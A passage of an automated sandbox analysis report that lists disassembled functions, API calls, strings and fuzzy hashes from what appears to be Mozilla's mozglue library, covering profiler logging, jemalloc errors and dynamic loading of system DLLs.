GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CA61FFD
__Init_thread_footer.LIBCMT ref: 6CA62011
FreeLibrary.KERNEL32 ref: 6CA62059

Strings

CoCreateInstance, xrefs: 6CA61FF7
combase.dll, xrefs: 6CA61FD9

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 7224637d868c014f9ba500d95ec1ea03fd6c101b7d6f7d35e2ed5555b994cbe2
Instruction ID: 5b9616c364e48c5b6008bc8dc3386edd8379c87503243c761d42b856bb8af1bb
Opcode Fuzzy Hash: 7224637d868c014f9ba500d95ec1ea03fd6c101b7d6f7d35e2ed5555b994cbe2
Instruction Fuzzy Hash: 09116AB4241306AFDF288F55CC4CE973B79EB4A355F05C129E90582A80CB31BC82DBA0

Function 6CA60EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA8AB89: EnterCriticalSection.KERNEL32(6CADE370,?,?,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284), ref: 6CA8AB94
Part of subcall function 6CA8AB89: LeaveCriticalSection.KERNEL32(6CADE370,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA8ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CA8D9F0,00000000), ref: 6CA60F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CA60F3C
__Init_thread_footer.LIBCMT ref: 6CA60F50
FreeLibrary.KERNEL32(?,6CA8D9F0,00000000), ref: 6CA60F86

Strings

combase.dll, xrefs: 6CA60F18
CoInitializeEx, xrefs: 6CA60F36

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 1b6f62c70b1c1bea724120bcf87717ec5219bd2940d2ed311212874e0027f0f7
Instruction ID: 7cb289e08075c8fbdaa7bbb24c61b731365f5f5e455a068928e3a0a63338a469
Opcode Fuzzy Hash: 1b6f62c70b1c1bea724120bcf87717ec5219bd2940d2ed311212874e0027f0f7
Instruction Fuzzy Hash: 4611A0743113429BDF08CF55CE08A4B37B5FB4B326F04C62DE90582B80DB70B886CA69

Function 6CA9F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA64A68), ref: 6CA9945E
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA99470
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA99482
Part of subcall function 6CA99420: __Init_thread_footer.LIBCMT ref: 6CA9949F

GetCurrentThreadId.KERNEL32 ref: 6CA9F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA9F561

Part of subcall function 6CA994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA994EE
Part of subcall function 6CA994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA99508

GetCurrentThreadId.KERNEL32 ref: 6CA9F577
AcquireSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9F585
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6CA9F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CA9F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6CA9F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CA9F499

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: eb4a7638a1e7c9572cd3d715eddab9eff00fdb514fa1ddd462c9bc36333e64a9
Instruction ID: ac31bb2ae973aee32b5bf3f6b35c7331013c6de91a603131d9f5c37227629a45
Opcode Fuzzy Hash: eb4a7638a1e7c9572cd3d715eddab9eff00fdb514fa1ddd462c9bc36333e64a9
Instruction Fuzzy Hash: B4F0B4B5200306AFDA046F65AC49A9A77FDEB8A25EF048119FA0583701CF31A8468761

Function 6CA9F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA64A68), ref: 6CA9945E
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA99470
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA99482
Part of subcall function 6CA99420: __Init_thread_footer.LIBCMT ref: 6CA9949F

GetCurrentThreadId.KERNEL32 ref: 6CA9F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA9F598), ref: 6CA9F621

Part of subcall function 6CA994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA994EE
Part of subcall function 6CA994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA99508

GetCurrentThreadId.KERNEL32 ref: 6CA9F637
AcquireSRWLockExclusive.KERNEL32(6CADF4B8,?,?,00000000,?,6CA9F598), ref: 6CA9F645
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8,?,?,00000000,?,6CA9F598), ref: 6CA9F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA9F62A

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 81fd438182dd0965fa6d6a0ad531d78be8cd996cb446ca5fa5ef0e16165e977f
Instruction ID: bcd2ba31dde3d0525d6cd1e062d5a5cafd0acbdf502520990e86f7b8fc396e89
Opcode Fuzzy Hash: 81fd438182dd0965fa6d6a0ad531d78be8cd996cb446ca5fa5ef0e16165e977f
Instruction Fuzzy Hash: F4F0B4B5200346AFDE046B649C49A9A77BDEB8A25DF048119FA0583701CF75A8468771

Function 6CA60E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CA60DF8), ref: 6CA60E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CA60EA1
__Init_thread_footer.LIBCMT ref: 6CA60EB5
FreeLibrary.KERNEL32 ref: 6CA60EC5

Strings

kernel32.dll, xrefs: 6CA60E7D
GetProcessMitigationPolicy, xrefs: 6CA60E9B

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 495cee86379f754b183b416b004e1fc40a8b877d5115754509c05494641a9f74
Instruction ID: 878d02ce33d8d7e277c34d513a0c6e202d9b02e6d05a8d77902811b3a2bb5d91
Opcode Fuzzy Hash: 495cee86379f754b183b416b004e1fc40a8b877d5115754509c05494641a9f74
Instruction Fuzzy Hash: 870128747003838BDE088FA9DE18A8333B6F706715F148629D90182F80DB74B8C68A16

Function 6CA905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CA8CFAE,?,?,?,6CA531A7), ref: 6CA905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CA8CFAE,?,?,?,6CA531A7), ref: 6CA90616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA531A7), ref: 6CA9061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA531A7), ref: 6CA90627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA9061B, 6CA90625
<jemalloc>, xrefs: 6CA905FA, 6CA9060F

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 2ca0596e720d591d24f145950e57ff52f59155317f60c59d6276666d18e845f1
Instruction ID: 0d80ad985dd81e78e53ae4dbfc0833b78111dfd088a5a3e90dfeb6b11619083f
Opcode Fuzzy Hash: 2ca0596e720d591d24f145950e57ff52f59155317f60c59d6276666d18e845f1
Instruction Fuzzy Hash: 8AE08CE2A0111037F514225ABC86DBBB61CDBC6138F080139FE0D82341E94ABD1E51F7

Function 6CA605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5154068ff1c119e30ebd701ba4268983962718e614374ab40fcec05081eb85d6
Instruction ID: 6734dfe44114d86839d9b20faa75f9281fd0458a8cbb5bc71170fc8c3e8d39f3
Opcode Fuzzy Hash: 5154068ff1c119e30ebd701ba4268983962718e614374ab40fcec05081eb85d6
Instruction Fuzzy Hash: BBA15AB0A017458FDB14CF29C994A9AFBF1BF49304F44866ED44A97B40E770BA85CF90

Function 6CAB14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAB14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAB14E2
GetCurrentThreadId.KERNEL32 ref: 6CAB1546
InitializeConditionVariable.KERNEL32(?), ref: 6CAB15BA
free.MOZGLUE(?), ref: 6CAB16B4

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 70c12a2d653367e092b219fc9bad49c7ba4d417a6902709c421d1cbcf565d832
Instruction ID: 33fe27e0a1052aeae982a352abcb07703373a7c0774f9829f10d795cbc63f06f
Opcode Fuzzy Hash: 70c12a2d653367e092b219fc9bad49c7ba4d417a6902709c421d1cbcf565d832
Instruction Fuzzy Hash: EB610575A007019FDB118F24C980BEEB7B5BF89308F04861CEE8A67701DB34E999CB91

Function 6CAA9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAA9FDB
free.MOZGLUE(?,?), ref: 6CAA9FF0
free.MOZGLUE(?,?), ref: 6CAAA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAAA0BE
free.MOZGLUE(?,?), ref: 6CAAA0D5
free.MOZGLUE(?,?), ref: 6CAAA0EB

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: eba641d51f34216d511a42ed9c818a6189c343d1cf21b675f4c308d47b96983c
Instruction ID: e381af2695e686d9f60d029decfd857f7793e5f9d2fb1fa686c738cdf98684a3
Opcode Fuzzy Hash: eba641d51f34216d511a42ed9c818a6189c343d1cf21b675f4c308d47b96983c
Instruction Fuzzy Hash: 25619E755087019FC711CF58C48059AB3F5FF88328F548669E8999B702EB32E9CACBD1

Function 6CAADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CAAD38A,?), ref: 6CAADC6F
free.MOZGLUE(?,?,?,?,?,6CAAD38A,?), ref: 6CAADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CAAD38A,?), ref: 6CAADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CAAD38A,?), ref: 6CAADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CAAD38A,?), ref: 6CAADD4A

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 2dd8f3d2d9830cf75e25c57ea4946096039e17246cc251165bb507dc87f1ad71
Instruction ID: 6b174e55c7f09282223736118d01d6397d6ef81433f61c9f40687a93ad0526e4
Opcode Fuzzy Hash: 2dd8f3d2d9830cf75e25c57ea4946096039e17246cc251165bb507dc87f1ad71
Instruction Fuzzy Hash: 6A4169B9A00206DFCB00CFA9C980A9AB7F5FF88304B654569DD45ABB10DB31FC85CB90

Function 6CA96590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CA8FA80: GetCurrentThreadId.KERNEL32 ref: 6CA8FA8D
Part of subcall function 6CA8FA80: AcquireSRWLockExclusive.KERNEL32(6CADF448), ref: 6CA8FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA96727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CA967C8

Part of subcall function 6CAA4290: memcpy.VCRUNTIME140(?,?,6CAB2003,6CAB0AD9,?,6CAB0AD9,00000000,?,6CAB0AD9,?,00000004,?,6CAB1A62,?,6CAB2003,?), ref: 6CAA42C4

Strings

data, xrefs: 6CA96593

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: e50c1c50f4b13bf62e2cf0922ad7426bd74378fcace9c9926697d7687be6466b
Instruction ID: 5b7bef580a9a1be3eed42047119b228c0bc6e0c4a6fa6016659b153433453fc1
Opcode Fuzzy Hash: e50c1c50f4b13bf62e2cf0922ad7426bd74378fcace9c9926697d7687be6466b
Instruction Fuzzy Hash: 93D1EF75A043408FD764CF28C941B9FB7E5AFC5308F14892DE18997B50DB30A98ACB92

Function 6CA8D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA5EB57,?,?,?,?,?,?,?,?,?), ref: 6CA8D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA5EB57,?), ref: 6CA8D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA5EB57,?), ref: 6CA8D673
free.MOZGLUE(?), ref: 6CA8D888

Strings

|Enabled, xrefs: 6CA8D81E

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 04369f2a8f1efd53660dc68f4db2a0b100e88f6d2380b75c494877b9c7a74672
Instruction ID: c959847ee43aead4be461874a9da8aa9206b62165507fd2aa973228a7a568aa6
Opcode Fuzzy Hash: 04369f2a8f1efd53660dc68f4db2a0b100e88f6d2380b75c494877b9c7a74672
Instruction Fuzzy Hash: 33A105B0E0134A9FDB04CF69C4807EEBBF1AF49318F58805DD885AB741D734A889CBA1

Function 6CA8F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CA8F480

Part of subcall function 6CA5F100: LoadLibraryW.KERNEL32(shell32,?,6CACD020), ref: 6CA5F122
Part of subcall function 6CA5F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA5F132

CloseHandle.KERNEL32(00000000), ref: 6CA8F555

Part of subcall function 6CA614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA61248,6CA61248,?), ref: 6CA614C9
Part of subcall function 6CA614B0: memcpy.VCRUNTIME140(?,6CA61248,00000000,?,6CA61248,?), ref: 6CA614EF

Part of subcall function 6CA5EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA5EEE3

CreateFileW.KERNEL32 ref: 6CA8F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CA8F523

Strings

\oleacc.dll, xrefs: 6CA8F4CB

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 6894b0889d10e04af4a1fc9c89b4cc94aca2b38c212c94acb4d40caf1a534fea
Instruction ID: cd260f3a306a941a8b7d4d8d8a436b233a26e52bc291dec8f9a6b3c5b48b02f9
Opcode Fuzzy Hash: 6894b0889d10e04af4a1fc9c89b4cc94aca2b38c212c94acb4d40caf1a534fea
Instruction Fuzzy Hash: FF41A0706097129FE724DF29DD84A9AB7F4AF44318F504A1CF69183690EB30E989CB92

Function 6CA9E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA64A68), ref: 6CA9945E
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA99470
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA99482
Part of subcall function 6CA99420: __Init_thread_footer.LIBCMT ref: 6CA9949F

GetCurrentThreadId.KERNEL32 ref: 6CA9E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA9E04F

Part of subcall function 6CA994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA994EE
Part of subcall function 6CA994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA99508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA9E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA9E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CA9E057

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 0abf74996c0b63d6078b4b9e942bf6c8f3475fd52f52a44913a0f75bd7c6dc5b
Instruction ID: 6ee4a0be42059de5f39147d4572555f05f1851dd1bfdd8f1f5e046c6b5afd54c
Opcode Fuzzy Hash: 0abf74996c0b63d6078b4b9e942bf6c8f3475fd52f52a44913a0f75bd7c6dc5b
Instruction Fuzzy Hash: AD21D074B002099FCF049F64D959AAEB7F5BF85208F184128E80A97741DB31A98AC7E1

Function 6CAB74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CAB7526
__Init_thread_footer.LIBCMT ref: 6CAB7566
__Init_thread_footer.LIBCMT ref: 6CAB7597

Strings

kernel32.dll, xrefs: 6CAB7557
UnmapViewOfFile2, xrefs: 6CAB7552

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
